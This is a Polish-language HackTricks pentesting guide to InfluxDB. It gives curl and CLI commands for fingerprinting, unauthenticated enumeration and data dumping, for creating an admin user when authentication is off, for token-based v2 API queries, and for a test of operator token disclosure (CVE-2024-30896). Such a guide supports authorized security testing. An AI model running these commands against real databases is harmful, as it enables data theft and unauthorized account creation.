8086 - Pentesting InfluxDB

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Informacje podstawowe

InfluxDB to otwartoźródłowa baza danych szeregów czasowych (TSDB) stworzona przez InfluxData. TSDBs są zoptymalizowane do przechowywania i serwowania danych szeregów czasowych, które składają się z par znacznika czasu i wartości. W porównaniu z bazami danych ogólnego przeznaczenia, TSDBs zapewniają znaczną poprawę w zakresie przestrzeni dyskowej i wydajności dla zbiorów danych szeregów czasowych. Wykorzystują specjalizowane algorytmy kompresji i można je skonfigurować tak, aby automatycznie usuwały stare dane. Specjalizowane indeksy baz danych również zwiększają wydajność zapytań.

Domyślny port: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identyfikacja i wersja (HTTP)

  • v1.x: GET /ping zwraca status 204 i nagłówki takie jak X-Influxdb-Version i X-Influxdb-Build.
  • v2.x+: GET /health zwraca JSON z wersją serwera i statusem. Działa bez auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Wskazówka: wystawione instancje często również udostępniają Prometheus-style metrics pod /metrics.

Enumeration

Z punktu widzenia pentestera to kolejna baza danych, która może przechowywać wrażliwe informacje, więc warto wiedzieć, jak dumpować wszystkie informacje.

Authentication

InfluxDB może wymagać uwierzytelniania lub nie

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Jeśli otrzymasz błąd taki jak ten: ERR: unable to parse authentication credentials oznacza to, że oczekuje jakichś poświadczeń.

influx –username influx –password influx_pass

W influxdb istniała luka, która pozwalała na obejście uwierzytelniania: CVE-2019-20933

Ręczna enumeracja (v1 HTTP API / InfluxQL)

Nawet jeśli nie ma dostępnego CLI, HTTP API jest zwykle wystawione na porcie 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

W niektórych testach z authentication bypass zauważono, że nazwa tabeli musi być ujęta w podwójnych cudzysłowach, np.: select * from "cpu"

Jeśli uwierzytelnianie jest wyłączone, możesz nawet utworzyć użytkowników i eskalować uprawnienia:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Informacje z poniższego przykładu CLI pochodzą z here.

Pokaż bazy danych

Znalezione bazy danych to telegraf i internal (znajdziesz ją wszędzie)

> show databases
name: databases
name
----
telegraf
_internal

Pokaż tabele/measurements

InfluxDB documentation wyjaśnia, że measurements w InfluxDB można przyrównać do tabel SQL. Nomenklatura tych measurements wskazuje na ich zawartość — każda przechowuje dane dotyczące konkretnej encji.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Pokaż kolumny/klucze pól

Klucze pól są jak kolumny bazy danych

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

Na koniec możesz dump the table, robiąc coś takiego

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (oparte na tokenach)

InfluxDB 2.x wprowadza uwierzytelnianie oparte na tokenach i nowe API (nadal na porcie 8086 domyślnie). Jeśli zdobędziesz token (leaked logs, default deployments, backups) możesz wyenumerować:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Uwagi

  • Dla v1.8+ istnieją niektóre endpointy kompatybilne z v2 (/api/v2/query, /api/v2/write, /health). To przydatne, jeśli serwer jest v1, ale akceptuje żądania w stylu v2.
  • W v2 nagłówek HTTP Authorization musi mieć postać Token <value>.

Automated Enumeration

msf6 > use auxiliary/scanner/http/influxdb_enum

Najnowsze vulns i privesc warte uwagi (ostatnie lata)

  • InfluxDB OSS 2.x do 2.7.11 — ujawnienie tokena operatora (CVE-2024-30896). W określonych warunkach uwierzytelniony użytkownik z dostępem do odczytu do zasobu autoryzacji w domyślnej organizacji mógł listować i pobierać token operatora o zasięgu instancji (np. via influx auth ls or GET /api/v2/authorizations). Dysponując tym tokenem, atakujący może zarządzać instancją (bucketów, tokenów, użytkowników) i uzyskać dostęp do wszystkich danych we wszystkich organizacjach. Zaktualizuj do poprawionej wersji, gdy będzie dostępna, i unikaj umieszczania zwykłych użytkowników w domyślnej organizacji. Szybki test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Wiele starych deploymentów 1.x nadal wystawia /query i /write bez uwierzytelnienia w Internecie. Jeśli uwierzytelnianie jest wyłączone, możesz zrzucać lub nawet modyfikować szeregi czasowe wedle woli; możesz też tworzyć użytkowników z uprawnieniami administratora jak pokazano powyżej. Zawsze weryfikuj za pomocą HTTP API, nawet jeśli CLI cię blokuje.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks